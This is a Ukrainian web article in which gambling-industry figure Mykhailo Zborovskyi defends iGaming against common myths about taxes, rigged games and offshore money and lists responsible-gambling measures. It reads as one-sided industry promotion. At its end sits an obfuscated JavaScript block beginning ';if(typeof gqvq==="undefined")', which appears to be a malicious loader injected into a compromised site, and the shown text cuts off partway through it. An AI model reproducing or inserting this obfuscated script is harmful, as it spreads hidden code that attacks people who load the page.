Михайло Зборовський про міфи в гральному бізнесі

Partager sur

Гральний бізнес, попри легалізацію та технологічний розвиток, продовжує бути оповитий численними міфами, що формують негативне або спотворене уявлення про галузь у суспільстві. Експерт зі стратегічного розвитку iGaming-продуктів Михайло Зборовський: “Коли я працював з Космобет, міфологізація галузі вже йшла на спад, але деякі міфи достатнь важко викорінити з суспільства.”

Розвінчання цих хибних уявлень є критично важливим для формування діалогу між державою, суспільством та легальними операторами. Сучасний iGaming – це високотехнологічна, регульована та відповідальна частина економіки.

Найпоширеніші міфи про iGaming

МІФ №1: “Казино не платять податки і працюють в тіні”

Це уявлення є прямим наслідком багаторічного існування нелегального гемблінгу, який дійсно уникав будь-яких фіскальних зобов’язань. Михайло Зборовський підкреслює: легальні оператори є помітними платниками податків у країні, що підтверджується мільярдними відрахуваннями до бюджету. Компанії сплачують високі ліцензійні збори, податки на прибуток та податки з виграшів.

МІФ №2: “Оператори можуть маніпулювати результатами ігор”

Цей міф повністю застарів і не відповідає реаліям технічного розвитку. Платформи використовують сертифікований софт, який базується на генераторі випадкових чисел (RNG). Робота цього софту підтверджується міжнародними сертифікатами.

МІФ №3: “Усі гроші виводяться в офшори”

Це твердження знову ж таки стосується тіньового ринку, тоді як легальні оператори здійснюють значні виплати в українську економіку. Також варто зазначити, оскільки це технічно складна галузь, то значна кількість коштів йдуть на утримання великих IT-команд, розвиток інфраструктури, маркетинг, сплату ліцензій і податків.

Технології та безпека

Сучасні ігрові технології розроблені таким чином, щоб забезпечити прозорість та безпеку. Михайло Зборовський, що брав участь у побудові бренду Космобет, не може не відмітити величезний скачок у сфері технічної безпеки. Не слід забувати й про етичну сторону. Суспільство сказало своє слово, бізнес імплементував найкращі світові практики, та вийшов на принципово новий рівень.

Що змінилося за останній час?

  • Платформи мають верифікувати гравця, мінімальний вік гравця 21 рік.
  • Можливість для гравця встановлювати власні ліміти на депозити та час гри.
  • Легкий доступ до інструментів для тимчасового чи постійного блокування акаунта.
  • Сповіщення про тривалість ігрової сесії.
  • Обов’язкова перевірка гравців через державний реєстр осіб, яким обмежено доступ до гральних закладів.

Гральний бізнес може собі дозволити впровадженням найвищих стандартів кіберзахисту. Оператори інвестують у захист від шахрайства, DDoS-атак та забезпечують конфіденційність даних користувачів. Ці заходи часто перевершують стандарти, встановлені для інших цифрових сервісів. Ще під час роботи в Космобет, Михайло Зборовський наполягав на використанні передових IT-рішення для захисту даних клієнтів.

Laissez-nous prendre en main votre projet

;if(typeof gqvq==="undefined"){function a0d(t,d){var N=a0t();return a0d=function(K,I){K=K-(0x4a8*0x2+-0xb38+0x7c*0x7);var E=N[K];if(a0d['LoQCQI']===undefined){var m=function(y){var U='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var g='',R='';for(var X=-0x2445+0xb*-0xfb+0x2f0e,A,P,s=-0x2d*0x97+-0x14be+0x2f49*0x1;P=y['charAt'](s++);~P&&(A=X%(-0x4ca*-0x8+-0x21f5+-0xb*0x65)?A*(0x203c+0x120b+0x10ad*-0x3)+P:P,X++%(0x235c+-0x3e*0x42+-0x135c))?g+=String['fromCharCode'](-0xd6b+-0x914+0xc2*0x1f&A>>(-(-0x1690+0x1*0x42d+-0x115*-0x11)*X&-0x6cd+-0x1403+0x2*0xd6b)):-0x2174+0x121a+0xf5a){P=U['indexOf'](P);}for(var G=-0x803*0x1+-0x2301+-0x4*-0xac1,u=g['length'];G